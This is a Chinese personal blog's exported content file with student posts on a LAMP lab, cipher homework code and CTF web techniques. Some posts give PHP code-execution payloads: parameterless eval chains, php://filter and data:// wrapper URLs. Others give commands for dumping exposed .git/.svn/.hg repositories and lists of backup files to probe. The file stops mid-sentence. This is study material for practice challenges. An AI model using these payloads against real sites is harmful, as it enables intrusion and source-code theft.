-
Notifications
You must be signed in to change notification settings - Fork 0
/
content.json
1 lines (1 loc) · 182 KB
/
content.json
1
{"meta":{"title":"秋雨样的个人博客","subtitle":"qwq","description":"好少年光芒万丈","author":"qiuyuyang","url":"http://example.com","root":"/"},"pages":[{"title":"about","date":"2018-12-12T14:14:36.000Z","updated":"2024-07-30T09:39:04.710Z","comments":false,"path":"about/index.html","permalink":"http://example.com/about/index.html","excerpt":"","text":"[秋雨样のhojun] 与 Mashiro ( 秋雨样) ) 对话中... bot_ui_ini()"},{"title":"bangumi","date":"2020-02-19T06:00:00.000Z","updated":"2024-07-30T09:43:43.930Z","comments":false,"path":"bangumi/index.html","permalink":"http://example.com/bangumi/index.html","excerpt":"","text":""},{"title":"client","date":"2018-12-20T15:13:35.000Z","updated":"2024-07-30T09:39:24.448Z","comments":false,"path":"client/index.html","permalink":"http://example.com/client/index.html","excerpt":"","text":"直接下载 or 扫码下载:"},{"title":"comment","date":"2018-12-20T15:13:48.000Z","updated":"2024-07-30T09:43:45.556Z","comments":true,"path":"comment/index.html","permalink":"http://example.com/comment/index.html","excerpt":"","text":"念两句诗 叙别梦、扬州一觉。 【宋代】吴文英《夜游宫·人去西楼雁杳》"},{"title":"donate","date":"2018-12-20T15:13:05.000Z","updated":"2024-07-30T09:43:47.000Z","comments":false,"path":"donate/index.html","permalink":"http://example.com/donate/index.html","excerpt":"","text":""},{"title":"music","date":"2018-12-20T15:14:28.000Z","updated":"2024-07-30T09:43:52.829Z","comments":false,"path":"music/index.html","permalink":"http://example.com/music/index.html","excerpt":"","text":""},{"title":"lab","date":"2019-01-05T13:47:59.000Z","updated":"2024-07-30T09:43:50.471Z","comments":false,"path":"lab/index.html","permalink":"http://example.com/lab/index.html","excerpt":"","text":"啥也没做啥也没有"},{"title":"links","date":"2020-02-08T06:11:06.000Z","updated":"2024-07-30T11:38:24.836Z","comments":true,"path":"links/index.html","permalink":"http://example.com/links/index.html","excerpt":"","text":""},{"title":"tags","date":"2018-12-12T14:14:16.000Z","updated":"2023-09-22T13:52:39.000Z","comments":true,"path":"tags/index.html","permalink":"http://example.com/tags/index.html","excerpt":"","text":""},{"title":"video","date":"2018-12-20T15:14:38.000Z","updated":"2023-09-22T13:52:39.000Z","comments":false,"path":"video/index.html","permalink":"http://example.com/video/index.html","excerpt":"","text":"var videos = [ { img: 'https://lain.bgm.tv/pic/cover/l/0e/1e/218971_2y351.jpg', title: '朝花夕誓——于离别之朝束起约定之花', status: '已追完', progress: 100, jp: 'さよならの朝に約束の花をかざろう', time: '放送时间: 2018-02-24 SUN.', desc: ' 住在远离尘嚣的土地,一边将每天的事情编织成名为希比欧的布,一边静静生活的伊欧夫人民。在15岁左右外表就停止成长,拥有数百年寿命的他们,被称为“离别的一族”,并被视为活着的传说。没有双亲的伊欧夫少女玛奇亚,过着被伙伴包围的平稳日子,却总感觉“孤身一人”。他们的这种日常,一瞬间就崩溃消失。追求伊欧夫的长寿之血,梅萨蒂军乘坐着名为雷纳特的古代兽发动了进攻。在绝望与混乱之中,伊欧夫的第一美女蕾莉亚被梅萨蒂带走,而玛奇亚暗恋的少年克里姆也失踪了。玛奇亚虽然总算逃脱了,却失去了伙伴和归去之地……。' }, { img : 'https://lain.bgm.tv/pic/cover/l/0e/1e/218971_2y351.jpg', title: '朝花夕誓——于离别之朝束起约定之花', status: '已追完', progress: 100, jp: 'さよならの朝に約束の花をかざろう', time: '2018-02-24 SUN.', desc: ' 住在远离尘嚣的土地,一边将每天的事情编织成名为希比欧的布,一边静静生活的伊欧夫人民。在15岁左右外表就停止成长,拥有数百年寿命的他们,被称为“离别的一族”,并被视为活着的传说。没有双亲的伊欧夫少女玛奇亚,过着被伙伴包围的平稳日子,却总感觉“孤身一人”。他们的这种日常,一瞬间就崩溃消失。追求伊欧夫的长寿之血,梅萨蒂军乘坐着名为雷纳特的古代兽发动了进攻。在绝望与混乱之中,伊欧夫的第一美女蕾莉亚被梅萨蒂带走,而玛奇亚暗恋的少年克里姆也失踪了。玛奇亚虽然总算逃脱了,却失去了伙伴和归去之地……。' } ] .should-ellipsis{overflow:hidden;text-overflow:ellipsis;white-space:nowrap;width:95%;}.should-ellipsis-full{overflow:hidden;text-overflow:ellipsis;white-space:nowrap;width:100%;}.should-ellipsis i{position:absolute;right:24px;}.grey-text{color:#9e9e9e !important}.grey-text.text-darken-4{color:#212121 !important}html{line-height:1.15;-ms-text-size-adjust:100%;-webkit-text-size-adjust:100%}body{margin:0}img{border-style:none}progress{display:inline-block;vertical-align:baseline}::-webkit-file-upload-button{-webkit-appearance:button;font:inherit}html{-webkit-box-sizing:border-box;box-sizing:border-box}*,*:before,*:after{-webkit-box-sizing:inherit;box-sizing:inherit}ul:not(.browser-default){padding-left:0;list-style-type:none}ul:not(.browser-default)>li{list-style-type:none}.card{-webkit-box-shadow:0 2px 2px 0 rgba(0,0,0,0.14),0 3px 1px -2px rgba(0,0,0,0.12),0 1px 5px 0 rgba(0,0,0,0.2);box-shadow:0 2px 2px 0 rgba(0,0,0,0.14),0 3px 1px -2px rgba(0,0,0,0.12),0 1px 5px 0 rgba(0,0,0,0.2)}.hoverable{-webkit-transition:-webkit-box-shadow .25s;transition:-webkit-box-shadow .25s;transition:box-shadow .25s;transition:box-shadow .25s,-webkit-box-shadow .25s}.hoverable:hover{-webkit-box-shadow:0 8px 17px 0 rgba(0,0,0,0.2),0 6px 20px 0 rgba(0,0,0,0.19);box-shadow:0 8px 17px 0 rgba(0,0,0,0.2),0 6px 20px 0 rgba(0,0,0,0.19)}i{line-height:inherit}i.right{float:right;margin-left:15px}.bangumi .right{float:right !important}.material-icons{text-rendering:optimizeLegibility;-webkit-font-feature-settings:'liga';-moz-font-feature-settings:'liga';font-feature-settings:'liga'}.row{margin-left:auto;margin-right:auto;margin-bottom:20px}.row:after{content:\"\";display:table;clear:both}.row .col{float:left;-webkit-box-sizing:border-box;box-sizing:border-box;padding:0 .75rem;min-height:1px}.row .col.s12{width:100%;margin-left:auto;left:auto;right:auto}@media only screen and (min-width:601px){.row .col.m6{width:50%;margin-left:auto;left:auto;right:auto}}html{line-height:1.5;font-family:-apple-system,BlinkMacSystemFont,\"Segoe UI\",Roboto,Oxygen-Sans,Ubuntu,Cantarell,\"Helvetica Neue\",sans-serif;font-weight:normal;color:rgba(0,0,0,0.87)}@media only screen and (min-width:0){html{font-size:14px}}@media only screen and (min-width:992px){html{font-size:14.5px}}@media only screen and (min-width:1200px){html{font-size:15px}}.card{position:relative;margin:.5rem 0 1rem 0;background-color:#fff;-webkit-transition:-webkit-box-shadow .25s;transition:-webkit-box-shadow .25s;transition:box-shadow .25s;transition:box-shadow .25s,-webkit-box-shadow .25s;border-radius:2px}.card .card-title{font-size:24px;font-weight:300}.card .card-title.activator{cursor:pointer}.card .card-image{position:relative}.card .card-image img{display:block;border-radius:2px 2px 0 0;position:relative;left:0;right:0;top:0;bottom:0;width:100%}.card .card-content{padding:24px;border-radius:0 0 2px 2px}.card .card-content p{margin:0}.card .card-content .card-title{display:block;line-height:32px;margin-bottom:8px}.card .card-content .card-title i{line-height:32px}.card .card-reveal{padding:24px;position:absolute;background-color:#fff;width:100%;overflow-y:auto;left:0;top:100%;height:100%;z-index:3;display:none}.card .card-reveal .card-title{cursor:pointer;display:block}.waves-effect{position:relative;cursor:pointer;display:inline-block;overflow:hidden;-webkit-user-select:none;-moz-user-select:none;-ms-user-select:none;user-select:none;-webkit-tap-highlight-color:transparent;vertical-align:middle;z-index:1;-webkit-transition:.3s ease-out;transition:.3s ease-out}.waves-effect img{position:relative;z-index:-1}.waves-block{display:block}::-webkit-input-placeholder{color:#d1d1d1}::-moz-placeholder{color:#d1d1d1}:-ms-input-placeholder{color:#d1d1d1}::-ms-input-placeholder{color:#d1d1d1}[type=\"radio\"]:not(:checked){position:absolute;opacity:0;pointer-events:none}[type=\"radio\"]:not(:checked)+span{position:relative;padding-left:35px;cursor:pointer;display:inline-block;height:25px;line-height:25px;font-size:1rem;-webkit-transition:.28s ease;transition:.28s ease;-webkit-user-select:none;-moz-user-select:none;-ms-user-select:none;user-select:none}[type=\"radio\"]:not(:checked)+span:before,[type=\"radio\"]:not(:checked)+span:after{border-radius:50%}[type=\"radio\"]:not(:checked)+span:before,[type=\"radio\"]:not(:checked)+span:after{border:2px solid #5a5a5a}[type=\"radio\"]:not(:checked)+span:after{-webkit-transform:scale(0);transform:scale(0)}[type=\"checkbox\"]:not(:checked){position:absolute;opacity:0;pointer-events:none}[type=\"checkbox\"]:not(:checked):disabled+span:not(.lever):before{border:none;background-color:rgba(0,0,0,0.42)}[type=\"checkbox\"].filled-in:not(:checked)+span:not(.lever):before{width:0;height:0;border:3px solid transparent;left:6px;top:10px;-webkit-transform:rotateZ(37deg);transform:rotateZ(37deg);-webkit-transform-origin:100% 100%;transform-origin:100% 100%}[type=\"checkbox\"].filled-in:not(:checked)+span:not(.lever):after{height:20px;width:20px;background-color:transparent;border:2px solid #5a5a5a;top:0px;z-index:0}input[type=checkbox]:not(:disabled) ~ .lever:active:before,input[type=checkbox]:not(:disabled).tabbed:focus ~ .lever::before{-webkit-transform:scale(2.4);transform:scale(2.4);background-color:rgba(0,0,0,0.08)}input[type=range].focused:focus:not(.active)::-webkit-slider-thumb{-webkit-box-shadow:0 0 0 10px rgba(38,166,154,0.26);box-shadow:0 0 0 10px rgba(38,166,154,0.26)}input[type=range].focused:focus:not(.active)::-moz-range-thumb{box-shadow:0 0 0 10px rgba(38,166,154,0.26)}input[type=range].focused:focus:not(.active)::-ms-thumb{box-shadow:0 0 0 10px rgba(38,166,154,0.26)} 番组计划 这里将是永远的回忆 window.onload = function(){ videos.forEach(function(video, i){ $('#rootRow').append(` ${video.title} ${video.jp} ${video.status} ${video.title} ${video.jp} 放送时间: ${video.time} ${video.desc} ${video.status} `) }) }"},{"title":"rss","date":"2018-12-20T15:09:03.000Z","updated":"2023-09-22T13:52:39.000Z","comments":true,"path":"rss/index.html","permalink":"http://example.com/rss/index.html","excerpt":"","text":""}],"posts":[{"title":"web安全-实验1","slug":"web安全-实验1","date":"2024-09-20T09:41:34.000Z","updated":"2024-09-20T09:44:04.929Z","comments":true,"path":"posts/75712516.html","link":"","permalink":"http://example.com/posts/75712516.html","excerpt":"","text":"1.实验目的熟悉Web结构,了解静态网站与动态网站的区别;了解虚拟主机技术,熟悉HTML语言、PHP语言、SQL和Query等Web编程技术。 2.实验内容 掌握Web常用开发技术搭建; 掌握基于虚拟主机的多站点部署与访问; 完成静态网站与动态网站的搭建; 完成基于内容管理系统的动态网站部署。 3.实验过程LAMP环境搭建 apache2 已经安装好了 成功启动,apache2 可以发现成功启动 192.168.86.130 是我kali ip地址 MySQL安装 mysql成功启动且安装,这里就不自启动了 在登录方面遇到了问题,本来mysql是没有设置密码的,但是因为没有切换到root导致无法登录,折腾了一整,甚至还重装了mysql,最后才试着sudo提权后试试,没想到还真进去了 PHP安装自带,不用安装,编辑测试页 多网站配置配置网站www.static.com 这里就不在虚拟机里面配置host,host直接配置的主机的(主要是kali图形界面被我关了),配置如下 这里易错点是000-default.conf会代理所有80端口到/var/www/html,需要将其去掉sudo mv 000-default.conf 000-default.conf.bak即可随后创建目录,并更改所属 成功 静态网站的部署 动态网站的部署创建database 创建表 创建新用户 测试 再然后重复步骤建立www.dynamic.com ,建立网站后发现跑错状态码500 定位到代码 $link = mysqli_connect(DB_SERVER, DB_USERNAME, DB_PASSWORD, DB_NAME); 应该是mysqli的扩展没有安装,安装扩展 用指令tail -F /var/log/apache2/error.log查看报错好吧,是我改了database,没注意 改成logininfo 再次报错,发现是新建的user用户没有访问logininfo权限 可以发现确实没有权限,给user用户赋权 grant all privileges on logininfo.* to user@localhost identified by 'password'; 然后就行了 注册界面 正常注册 正常登录 博客网站的部署先是和前面步骤一样,修改host创建网站,修改新增配置文件,不做截图了 建立wordpress 先创建用户,防止权限问题 赋权 grant All Privileges on wordpress.* to wpuser@; 成功 成功登录 总结过程中的大部分问题都能自己解决,即使是在centos里面建过一次wordpress还是遇到了一些问题需要上网搜解决方案,对于没有建过的可能更需要多使用搜索引擎了,也是顺利写完了 最后贴上博客 awa https://qiuyuyang.top/","categories":[{"name":"技术","slug":"技术","permalink":"http://example.com/categories/%E6%8A%80%E6%9C%AF/"}],"tags":[],"author":"秋雨样"},{"title":"ctf-crypto","slug":"ctf-crypto","date":"2024-09-18T10:55:22.000Z","updated":"2024-09-20T09:44:04.927Z","comments":true,"path":"posts/15113d9a.html","link":"","permalink":"http://example.com/posts/15113d9a.html","excerpt":"","text":"AES加密给的是一串base64,直接解密后会有Salted__字样,这主要是通过openssl加密如果不带base64就会出现Salted字段打头,以U2FsdGVkX1打头的主要是rabbit,AES,DES","categories":[{"name":"技术","slug":"技术","permalink":"http://example.com/categories/%E6%8A%80%E6%9C%AF/"}],"tags":[],"author":"秋雨样"},{"title":"蜜罐部署","slug":"蜜罐部署","date":"2024-09-14T12:17:35.000Z","updated":"2024-09-20T09:59:05.202Z","comments":true,"path":"posts/56c19477.html","link":"","permalink":"http://example.com/posts/56c19477.html","excerpt":"","text":"前言学校参加省护,老师教我部署一下蜜罐,正好乘机学习一下蜜罐部署 蜜罐平台选择使用的是免费的hfish本身教程挺全的,在此不重新造轮子了,只会记录遇到的奇怪问题,如果没啥我问题说不定本文章到此结束 需要自行安装mysql 先输入 yum install mysql-community-server 无法安装则下载配置 https://dev.mysql.com/downloads/repo/yum/ 下载后安装配置文件 yum install mysql80-community-release-el7-3.noarch.rpm 再输入yum install mysql-community-server即可正常安装 全程教程走没有任何问题,文章结束qwq","categories":[{"name":"技术","slug":"技术","permalink":"http://example.com/categories/%E6%8A%80%E6%9C%AF/"}],"tags":[],"author":"秋雨样"},{"title":"现代密码学","slug":"现代密码学","date":"2024-09-07T10:31:15.000Z","updated":"2024-09-20T09:58:32.668Z","comments":true,"path":"posts/977ae6f1.html","link":"","permalink":"http://example.com/posts/977ae6f1.html","excerpt":"","text":"废话大二上开始学习现代密码学了,说到密码学如果算上古典密码的话我第一次解除的应该是rot13还是在一个新生赛的misc里,转眼都过去快一年了吧,平时很少做密码的题,比赛里也仅限于RSA的签到题,平时也对数学谈不上喜欢,那不如趁着写作业的机会写写文字,也好好学学密码学吧~ 仿射变换 题一p11 THE NATIONAL SECURITY AGENCY 带入加密即可得到密码eg:首字母 T 对应 19 带入得故第一个加密字母为Y 同理可得加密结果YWP KXYHVKXO NPTJCHYB XLPKTB python代码 def encode(m,a,b): c='' for i in m: if i==' ': c+=i continue num = ord(i)-ord('A') res = (a*num+b)%26 c+=chr(res+ord('A')) return c if __name__ == '__main__': a=11 b=23 m='THE NATIONAL SECURITY AGENCY' c = encode(m,a,b) print(c) 题二p11 习题 2 一直明文的前两个字符是if,可列出以下俩式子 两式相减可得得带入可得带入得明文为ifyoucanreadthisthankateahcer python 代码def decode(c,a,b): a_inv = exgcd(a,26) m = \"\" for i in c: if i == \" \": m+=i continue num = ord(i) - ord('a') m+=chr((a_inv[0]*(num-b))%26+ord('a')) return m def get_num(a): return ord(a)-ord('a') def get_a_b(m1,m2,c1,c2): m1=get_num(m1) m2=get_num(m2) c1 = get_num(c1) c2 = get_num(c2) \"\"\" 8a+b(mod 26)=4 5a+b(mod 26)=3 \"\"\" a= (exgcd(m1-m2,26)[0]*(c1-c2))%26 b=(c1-a*m1)%26 return a,b if __name__ == '__main__': c =\"edsgickxhuklzveqzvkxwkzukvcuh\" m1='i' m2='f' c1='e' c2='d' a,b=get_a_b(m1,m2,c1,c2) m=decode(c,a,b) print(m) 多表代换密码对于多表替换加密来说,加密后的字母几乎不再保持原来的频率,所以我们一般只能通过寻找算法实现对应的弱点进行破解,顾不能通过字频来破解加密 在教材中,当时,加密密码为希尔密码 一般逆矩阵的计算公式: A^{-1} =\\frac{A^*}{\\vert A \\vert}=\\frac{1}{\\vert A \\vert} \\times A^*其中 为矩阵, 为 的逆矩阵, 为 的伴随矩阵, 为 的行列式。 希尔密码密钥矩阵的逆矩阵: K^{-1} = d^{-1} \\times adj(K)其中 为密钥矩阵, 为 的逆矩阵, 为 的行列式, 为 的伴随矩阵 2 x 2矩阵的伴随矩阵如下计算: adj \\begin{pmatrix} a & b \\\\ c & d \\end{pmatrix} = \\begin{pmatrix} d & -b \\\\ -c & a \\end{pmatrix}题三p12 习题 4 设又分为俩组,则 ,,, 由公式得式子1: 式子2: 式子3: 式子4: 先计算式子1和式子3对于式子1 a=\\frac{4-14b}{3}\\pmod{26}又在模下的逆元为故带入式子3得带入式子1得同理可得 python代码根据得故可得python代码 import numpy as np def exgcd(a, b): if b == 0: x = 1 y = 0 return x, y x1, y1 = exgcd(b, a % b) x = y1 y = x1 - (a // b) * y1 return x, y def mod_inverse(M,N): det = int(round(np.linalg.det(M))) det = det % 26 det_exgcd = exgcd(det,26)[0]%26 return det_exgcd def adjunct_matrix(M): ret=M ret[0][0]=M[1][1]%26 ret[0][1]=(-M[0][1])%26 ret[1][0]=(-M[1][0])%26 ret[1][1]=M[0][0]%26 return ret def know_plaintext_attack(m,c): m_list=[ord(char)-ord('a') for char in m] c_list = [ord(char) - ord('a') for char in c] M = np.array(m_list).reshape(-1,2) C=np.array(c_list).reshape(-1,2) M_inv = mod_inverse(M,26) M_adj = adjunct_matrix(M) M_exgcd = np.dot(M_inv,M_adj) A=np.dot(M_exgcd,C)%26 return A if __name__=='__main__': A = know_plaintext_attack(\"dont\",\"elni\") print(A) 流密码题1p30 1 时有4种线性反馈函数分别为、、、 函数 :| | | | 输出 || :—-: | :—-: | :—-: | :—-: || 1 | 0 | 1 | || 0 | 1 | 1 | 1 || 1 | 1 | 0 | 0 || 1 | 0 | 1 | 1 | 故周期为3 函数 : 输出 1 0 1 0 1 1 0 1 1 1 0 1 1 0 1 1 0 0 1 0 0 1 1 0 1 0 0 1 0 1 0 周期7 函数:| | | | 输出 || :—-: | :—-: | :—-: | :—-: || 1 | 0 | 1 | || 0 | 1 | 0 | 1 || 1 | 0 | 1 | 0 || 0 | 1 | 0 | 1 | 周期2 :| | | | 输出 || :—-: | :—-: | :—-: | :—-: || 1 | 0 | 1 | || 0 | 1 | 0 | 1 || 1 | 0 | 0 | 0 || 0 | 0 | 1 | 1 || 0 | 1 | 1 | 0 || 1 | 1 | 1 | 0 || 1 | 1 | 0 | 1 || 1 | 0 | 1 | 1 | 周期7 python代码求def lfsr(c1, c2, c3, init_state, length=15): state = init_state.copy() sequence = [] seen_states = {} for i in range(length): output = state[0] sequence.append(output) feedback = (c1 * state[0]) ^ (c2 * state[1]) ^ (c3 * state[2]) state = [state[1], state[2], feedback] state_tuple = tuple(state) if state_tuple in seen_states: cycle_start = seen_states[state_tuple] period = i - cycle_start return sequence, period else: seen_states[state_tuple] = i return sequence, None initial_state = [1, 0, 1] feedback_functions = [ (1, 1, 0), # x1 ⊕ x2 (1, 0, 1), # x1 ⊕ x3 (1, 1, 1), # x1 ⊕ x2 ⊕ x3 (1, 0, 0), # x1 ] for idx, (c1, c2, c3) in enumerate(feedback_functions): sequence, period = lfsr(c1, c2, c3, initial_state) print(f\"反馈函数 {idx + 1}: c1={c1}, c2={c2}, c3={c3}\") print(f\"输出: {sequence}\") print(f\"周期: {period}\\n\") 题2p30 2 因为p(x)|(x^p-1),故存在使得x^p-1=p(x)q(x)又p(x)A(x)=\\phi(x)有 (x^p-1)A(x)=\\phi(x)q(x)又因为次数不超过故不超过又知次数不超过故次数不超过可得任意正整数( i ),都有 设故有故所以 又有 A(x) = \\frac{a_1+a_2x+...+a_rx^{r-1}}{x^r-1}=\\frac{\\phi(x)}{p(x)}又不可约,次数不超过所以,故故有 题3p30 3由 f(a_1,a_2,a_3,a_4)=a_1\\oplus a_4 \\oplus 1 \\oplus a_2a_3 输出 1 0 1 1 1 1 0 1 1 1 1 1 0 1 1 1 1 1 0 0 1 1 1 1 1 0 1 1 1 周期为5 def get_(n, init, steps=20): state = init[:] sequence = [] for _ in range(steps): feedback = state[0] ^ state[3] ^ 1 ^ (state[1] & state[2]) sequence.append(state[-1]) state = [feedback] + state[:-1] return sequence def find_period(sequence): length = len(sequence) for p in range(1, length): if sequence[:p] == sequence[p:2*p]: return p return length n = 4 init = [1, 1, 0, 1] output = get_(n, init) period = find_period(output) print(\"输出:\", output) print(\"周期:\", period)","categories":[{"name":"技术","slug":"技术","permalink":"http://example.com/categories/%E6%8A%80%E6%9C%AF/"}],"tags":[],"author":"秋雨样"},{"title":"无参数rce","slug":"无参数rce","date":"2024-04-24T13:18:14.000Z","updated":"2024-05-11T14:25:00.766Z","comments":true,"path":"posts/80ce2980.html","link":"","permalink":"http://example.com/posts/80ce2980.html","excerpt":"","text":"参考无参数RCE,其实就是通过没有参数的函数达到命令执行的目的。没有参数的函数什么意思?一般该类题目代码如下(或类似): <?php if(';' === preg_replace('/[a-z,_]+\\((?R)?\\)/', NULL, $_GET['exp'])){ eval($_GET['exp']); } ?> 具体可见buuctf [GXYCTF2019]禁止套娃 一题wp 常见绕过姿势getallheaders() getallheaders()返回所有的HTTP头信息,但是要注意的一点是这个函数返回的是一个数组,而eval()要求的参数是一个字符串,所以这里不能直接用,这时我们就要想办法将数组转换为字符串。正好implode()这个函数就能胜任。 implode()能够直接将getallheaders()返回的数组转化为字符串,他的转化是直接拼接数组中字符串且是从最后开始输出(由于php版本不同,输出顺序也可能不同)那么我们就可以在最后随意添加一个头,插入我们的恶意代码并将后面的内容注释掉 get_defined_vars() 该函数的作用是获取所有的已定义变量,返回值也是数组。不过这个函数返回的是一个二维数组,所以不能与implode结合起来用。 使用current()函数可以返回数组中的单元且初始指针指向数组的第一个单元。因为GET方式传入的参数存在该二维数组中的第一个一维数组,所以我们可以通过这个函数将其取出来get=a&shell=phpinfo();后面传入的shell=phpinfo();出现在了第一个数组的最后 end()将 array 的内部指针移动到最后一个单元并返回其值 回忆一下之前的payload:?exp=eval(implode(getallheaders()));,设想下:current()是取出二维数组中的第一个(指针指向的那个)一维数组,用end()就可以取出这个一维数组中的最后那个值,加上之前的payload你能想到什么?新payload:?exp=eval(end(current(get_defined_vars())));&shell=phpinfo();用这个payload的话就可以执行shell的命令了 session_id() session_id()可以用来获取/设置当前会话 ID。那么可以用这个函数来获取cookie中的phpsessionid了,并且这个值我们是可控的。但其有限制: 文件会话管理器仅允许会话 ID 中使用以下字符:a-z A-Z 0-9 ,(逗号)和 - (减号) 解决方法:将参数转化为16进制传进去,之后再用hex2bin()函数转换回来就可以了。 所以,payload可以为:?exp=eval(hex2bin(session_id()));但session_id必须要开启session才可以使用,所以我们要先使用session_start。最后,payload:?exp=eval(hex2bin(session_id(session_start()))); 配合使用的函数getchwd() 函数返回当前工作目录。scandir() 函数返回指定目录中的文件和目录的数组。dirname() 函数返回路径中的目录部分。chdir() 函数改变当前的目录。readfile() 输出一个文件。current() 返回数组中的当前单元, 默认取第一个值。pos() current() 的别名。next() 函数将内部指针指向数组中的下一个元素,并输出。end() 将内部指针指向数组中的最后一个元素,并输出。array_rand() 函数返回数组中的随机键名,或者如果您规定函数返回不只一个键名,则返回包含随机键名的数组。array_flip() array_flip() 函数用于反转/交换数组中所有的键名以及它们关联的键值。array_slice() 函数在数组中根据条件取出一段值,并返回。array_reverse() 函数返回翻转顺序的数组。chr() 函数从指定的 ASCII 值返回字符。hex2bin() — 转换十六进制字符串为二进制字符串。getenv() 获取一个环境变量的值(在7.1之后可以不给予参数)。localeconv() 函数返回一包含本地数字及货币格式信息的数组。","categories":[{"name":"技术","slug":"技术","permalink":"http://example.com/categories/%E6%8A%80%E6%9C%AF/"}],"tags":[],"author":"秋雨样"},{"title":"php伪协议","slug":"php伪协议","date":"2024-04-24T09:32:27.000Z","updated":"2024-05-11T14:25:00.764Z","comments":true,"path":"posts/5a47ecbe.html","link":"","permalink":"http://example.com/posts/5a47ecbe.html","excerpt":"","text":"抄的这篇 file:// 协议要求: allow_url_fopen:off/on allow_url_include :off/on 用于访问本地文件系统,在CTF中通常用来读取本地文件的且不受allow_url_fopen与allow_url_include的影响。include()/require()/include_once()/require_once()参数可控的情况下,如导入为非.php文件,则仍按照php语法进行解析,这是include()函数所决定的。说明:file:// 文件系统是 PHP 使用的默认封装协议,展现了本地文件系统。当指定了一个相对路径(不以/, ,\\或 Windows 盘符开头的路径)提供的路径将基于当前的工作目录。在很多情况下是脚本所在的目录,除非被修改了。使用 CLI 的时候,目录默认是脚本被调用时所在的目录。在某些函数里,例如 fopen() 和 file_get_contents(),include_path 会可选地搜索,也作为相对的路径。用法: /path/to/file.ext relative/path/to/file.ext fileInCwd.ext C:/path/to/winfile.ext C:\\path\\to\\winfile.ext \\\\smbserver\\share\\path\\to\\winfile.ext file:///path/to/file.ext http://127.0.0.1/phpinfo.txt php:// 协议条件: allow_url_fopen:off/onallow_url_include :仅php://input php://stdin php://memory php://temp 需要on 作用:php:// 访问各个输入/输出流(I/O streams),在CTF中经常使用的是php://filter和php://input,php://filter用于读取源码,php://input用于执行php代码。 php://filter参数详解 php://filter 参数 描述 resource=<要过滤的数据流> 必须项。它指定了你要筛选过滤的数据流。 read=<读链的过滤器> 可选项。可以设定一个或多个过滤器名称,以管道符分隔 write=<写链的过滤器> 可选项。可以设定一个或多个过滤器名称,以管道符分隔 <; 两个链的过滤器> 任何没有以 read= 或 write= 作前缀的筛选器列表会视情况应用于读或写链。 可用的过滤器列表(4类) 字符串过滤器 作用 string.rot13 等同于str_rot13(),rot13变换 string.toupper 等同于strtoupper(),转大写字母 string.tolower 等同于strtolower(),转小写字母 string.strip_tags 等同于strip_tags(),去除html、PHP语言标签 转换过滤器 作用 convert.base64-encode & convert.base64-decode 等同于base64_encode()和base64_decode(),base64编码解码 convert.quoted-printable-encode & convert.quoted-printable-decode quoted-printable 字符串与 8-bit 字符串编码解码 压缩过滤器 作用 zlib.deflate & zlib.inflate 在本地文件系统中创建 gzip 兼容文件的方法,但不产生命令行工具如 gzip的头和尾信息。只是压缩和解压数据流中的有效载荷部分。 bzip2.compress & bzip2.decompress 同上,在本地文件系统中创建 bz2 兼容文件的方法。 加密过滤器 作用 mcrypt.* libmcrypt 对称加密算法 mdecrypt.* libmcrypt 对称解密算法 egphp://filter/read=convert.base64-encode/resource=[文件名]读取文件源码 php://input + [POST DATA]执行php代码 data:// 协议条件: allow_url_fopen:onallow_url_include :on 作用:自PHP>=5.2.0起,可以使用data://数据流封装器,以传递相应格式的数据。通常可以用来执行PHP代码。用法: data://text/plain, data://text/plain;base64, 示例: data://text/plain, http://127.0.0.1/include.php?file=data://text/plain,<?php%20phpinfo();?> data://text/plain;base64, http://127.0.0.1/include.php?file=data://text/plain;base64,PD9waHAgcGhwaW5mbygpOz8%2b","categories":[{"name":"技术","slug":"技术","permalink":"http://example.com/categories/%E6%8A%80%E6%9C%AF/"}],"tags":[],"author":"秋雨样"},{"title":"源码泄露","slug":"源码泄露","date":"2024-04-18T04:24:23.000Z","updated":"2024-09-04T09:29:53.274Z","comments":true,"path":"posts/d16073cf.html","link":"","permalink":"http://example.com/posts/d16073cf.html","excerpt":"","text":".git源码泄露发布代码的时候没删除.git目录导致的泄露,检测方法就是访问这个目录/.git/或者.git/config,使用githack恢复源码 python GitHack.py http://www.openssl.org/.git/ .svn源码泄露SVN是源代码本地管理软件。使用SVN管理本地代码过程中,会生成一个名为.svn的隐藏文件夹,其中包含重要的源码信息。而造成.svn文件泄露的主要原因还是网站管理员在发布代码时,没有使用导出功能,而直接进行复制粘贴。 关于.svn源码泄露漏洞利用,如今依照版本不同,也分两种方式。一种是svn>1.7,另一种是svn<1.7。 svn>1.7,文件名会被hash,然后再按照文件名对应hash的方式存到wc.db中,就是个sqlite数据库。最后我们按照名称遍历下载即可。svn<1.7,文件会先去读取entries文件的中的目录结构,因为默认文件名都是直接明文存的。 先访问 http://www.test.com/.svn/entries 判断版本,如果为12则为svn>1.7否则为svn<1.7再使用 svnexploit工具dump python .\\svnExploit.py -u [http://www.xxx.com/.svn/] python39.exe .\\SvnExploit.py -u http://challenge-4a13faee55bf1b5a.sandbox.ctfhub.com:10800/.svn --dump svn>1.7所以得到的是一个数据库使用SQLiteStudio对wc.db进行读取 能发现目录,但是无法恢复,后面看其他的才发现得用dvcs-ripper的rip-svn.pl模块 perl ./rip-svn.pl -v -u http://challenge-609b53a5fb2bbdd0.sandbox.ctfhub.com:10800/.svn 下载后ls -al发现.svn目录,进入pristine目录,进入数字目录,cat里面的问文件即可得到flag DS_Store 文件泄露.DS_Store是Mac下Finder用来保存如何展示 文件/文件夹 的数据文件,每个文件夹下对应一个。 ds_store_exp 是一个.DS_Store 文件泄漏利用脚本,它解析.DS_Store文件并递归地下载文件到 本地: 文件 python ds_store_exp.py http://www.example.com/.DS_Store hg源码泄露Mercurial 是一种轻量级分布式版本控制系统,使用 hg init的时候会生成.hg文件 依然使用dvcs-ripper perl rip-hg.pl -v -u http://www.example.com/.hg/ 网站备份压缩文件.index.php.swp index.php.swp index.php.bak .index.php~ index.php.bak_Edietplus index.php.~ index.php.~1~ index.php index.php~ index.php.rar index.php.zip index.php.7z index.php.tar.gz www.zip www.rar www.zip www.7z www.tar.gz www.tar web.zip web.rar web.zip web.7z web.tar.gz web.tar wwwroot.rar web.rar WEB-INF/web.xml 泄露WEB-INF是Java的WEB应用的安全目录,如果想在页面中直接访问其中的文件,必须通过web.xml文件对要访问的文件进行相应映射才能访问。 WEB-INF 主要包含一下文件或目录: WEB-INF/web.xml : Web应用程序配置文件, 描述了servlet和其他的应用组件配置及命名规则. WEB-INF/database.properties : 数据库配置文件 WEB-INF/classes/ : 一般用来存放Java类文件(.class) WEB-INF/lib/ : 用来存放打包好的库(.jar) WEB-INF/src/ : 用来放源代码(.asp和.php等) 通过找到 web.xml 文件,推断 class 